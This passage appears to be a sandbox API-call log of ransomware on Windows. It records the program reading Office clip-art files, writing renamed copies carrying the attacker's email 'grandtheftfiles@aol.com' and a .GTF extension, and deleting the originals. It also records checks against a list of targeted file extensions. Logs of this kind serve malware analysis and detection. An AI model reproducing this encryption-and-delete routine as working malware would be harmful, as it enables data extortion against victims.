	[0182.262] GetLastError () returned 0x0
	[0182.262] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xe956, lpOverlapped=0x0) returned 1
	[0182.545] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xe960, lpOverlapped=0x0) returned 1
	[0182.611] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.611] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.611] SetEndOfFile (hFile=0x428) returned 1
	[0183.550] CloseHandle (hObject=0x428) returned 1
	[0183.550] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.550] SetEndOfFile (hFile=0x53c) returned 1
	[0183.861] CloseHandle (hObject=0x53c) returned 1
	[0183.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 1
	[0183.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.862] lstrlenW (lpString=".doc") returned 4
	[0183.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString=".docx") returned 5
	[0183.863] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.863] lstrlenW (lpString=".pdf") returned 4
	[0183.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString=".xls") returned 4
	[0183.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.863] lstrlenW (lpString=".xlsx") returned 5
	[0183.863] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.863] lstrlenW (lpString=".ppt") returned 4
	[0183.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.863] lstrlenW (lpString=".zip") returned 4
	[0183.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.863] lstrlenW (lpString=".rar") returned 4
	[0183.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString=".bz2") returned 4
	[0183.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString=".7z") returned 3
	[0183.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.863] lstrlenW (lpString=".dbf") returned 4
	[0183.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.863] lstrlenW (lpString=".1cd") returned 4
	[0183.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.863] lstrlenW (lpString=".jpg") returned 4
	[0183.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.863] lstrlenW (lpString=".doc") returned 4
	[0183.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.863] lstrlenW (lpString=".docx") returned 5
	[0183.863] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.863] lstrlenW (lpString=".pdf") returned 4
	[0183.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.864] lstrlenW (lpString=".xls") returned 4
	[0183.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.864] lstrlenW (lpString=".xlsx") returned 5
	[0183.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.864] lstrlenW (lpString=".ppt") returned 4
	[0183.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.864] lstrlenW (lpString=".zip") returned 4
	[0183.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.864] lstrlenW (lpString=".rar") returned 4
	[0183.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.864] lstrlenW (lpString=".bz2") returned 4
	[0183.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.864] lstrlenW (lpString=".7z") returned 3
	[0183.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.864] lstrlenW (lpString=".dbf") returned 4
	[0183.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.864] lstrlenW (lpString=".1cd") returned 4
	[0183.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68
	[0183.864] lstrlenW (lpString=".jpg") returned 4
	[0183.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.864] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.864] lstrlenW (lpString="J0185834.WMF") returned 12
	[0183.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.866] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=8578) returned 1
	[0183.866] CloseHandle (hObject=0x53c) returned 1
	[0183.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 0x220
	[0183.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.867] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.867] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.868] GetLastError () returned 0x0
	[0183.868] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2182, lpOverlapped=0x0) returned 1
	[0183.872] WriteFile (in: hFile=0x52c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0183.874] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.874] WriteFile (in: hFile=0x52c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.874] SetEndOfFile (hFile=0x52c) returned 1
	[0183.874] CloseHandle (hObject=0x52c) returned 1
	[0183.877] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.877] SetEndOfFile (hFile=0x53c) returned 1
	[0183.882] CloseHandle (hObject=0x53c) returned 1
	[0183.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 1
	[0183.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.887] lstrlenW (lpString=".doc") returned 4
	[0183.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString=".docx") returned 5
	[0183.887] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0183.887] lstrlenW (lpString=".pdf") returned 4
	[0183.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString=".xls") returned 4
	[0183.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.887] lstrlenW (lpString=".xlsx") returned 5
	[0183.887] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0183.887] lstrlenW (lpString=".ppt") returned 4
	[0183.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.887] lstrlenW (lpString=".zip") returned 4
	[0183.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.887] lstrlenW (lpString=".rar") returned 4
	[0183.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString=".bz2") returned 4
	[0183.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString=".7z") returned 3
	[0183.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.887] lstrlenW (lpString=".dbf") returned 4
	[0183.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.887] lstrlenW (lpString=".1cd") returned 4
	[0183.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.887] lstrlenW (lpString=".jpg") returned 4
	[0183.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.888] lstrlenW (lpString=".doc") returned 4
	[0183.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString=".docx") returned 5
	[0183.888] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0183.888] lstrlenW (lpString=".pdf") returned 4
	[0183.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString=".xls") returned 4
	[0183.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.888] lstrlenW (lpString=".xlsx") returned 5
	[0183.888] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0183.888] lstrlenW (lpString=".ppt") returned 4
	[0183.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.888] lstrlenW (lpString=".zip") returned 4
	[0183.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.888] lstrlenW (lpString=".rar") returned 4
	[0183.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString=".bz2") returned 4
	[0183.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString=".7z") returned 3
	[0183.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.888] lstrlenW (lpString=".dbf") returned 4
	[0183.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.888] lstrlenW (lpString=".1cd") returned 4
	[0183.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68
	[0183.888] lstrlenW (lpString=".jpg") returned 4
	[0183.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.889] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.889] lstrlenW (lpString="J0186346.WMF") returned 12
	[0183.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.891] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=8666) returned 1
	[0183.891] CloseHandle (hObject=0x53c) returned 1
	[0183.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 0x220
	[0183.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.892] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.892] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0183.893] GetLastError () returned 0x0
	[0183.893] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x21da, lpOverlapped=0x0) returned 1
	[0183.895] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x21e0, lpOverlapped=0x0) returned 1
	[0183.896] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.896] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.896] SetEndOfFile (hFile=0x3d4) returned 1
	[0183.896] CloseHandle (hObject=0x3d4) returned 1
	[0183.896] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.896] SetEndOfFile (hFile=0x53c) returned 1
	[0183.899] CloseHandle (hObject=0x53c) returned 1
	[0183.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 1
	[0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.901] lstrlenW (lpString=".doc") returned 4
	[0183.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString=".docx") returned 5
	[0183.901] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.901] lstrlenW (lpString=".pdf") returned 4
	[0183.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString=".xls") returned 4
	[0183.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.901] lstrlenW (lpString=".xlsx") returned 5
	[0183.901] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.901] lstrlenW (lpString=".ppt") returned 4
	[0183.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.901] lstrlenW (lpString=".zip") returned 4
	[0183.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.901] lstrlenW (lpString=".rar") returned 4
	[0183.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString=".bz2") returned 4
	[0183.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString=".7z") returned 3
	[0183.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.901] lstrlenW (lpString=".dbf") returned 4
	[0183.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.901] lstrlenW (lpString=".1cd") returned 4
	[0183.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.901] lstrlenW (lpString=".jpg") returned 4
	[0183.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.902] lstrlenW (lpString=".doc") returned 4
	[0183.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString=".docx") returned 5
	[0183.902] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.902] lstrlenW (lpString=".pdf") returned 4
	[0183.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString=".xls") returned 4
	[0183.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.902] lstrlenW (lpString=".xlsx") returned 5
	[0183.902] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.902] lstrlenW (lpString=".ppt") returned 4
	[0183.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.902] lstrlenW (lpString=".zip") returned 4
	[0183.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.902] lstrlenW (lpString=".rar") returned 4
	[0183.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString=".bz2") returned 4
	[0183.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString=".7z") returned 3
	[0183.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.902] lstrlenW (lpString=".dbf") returned 4
	[0183.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.902] lstrlenW (lpString=".1cd") returned 4
	[0183.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68
	[0183.903] lstrlenW (lpString=".jpg") returned 4
	[0183.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.903] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.903] lstrlenW (lpString="J0186360.WMF") returned 12
	[0183.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0183.985] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=33850) returned 1
	[0183.985] CloseHandle (hObject=0x2a4) returned 1
	[0183.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 0x220
	[0183.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0183.988] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.988] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
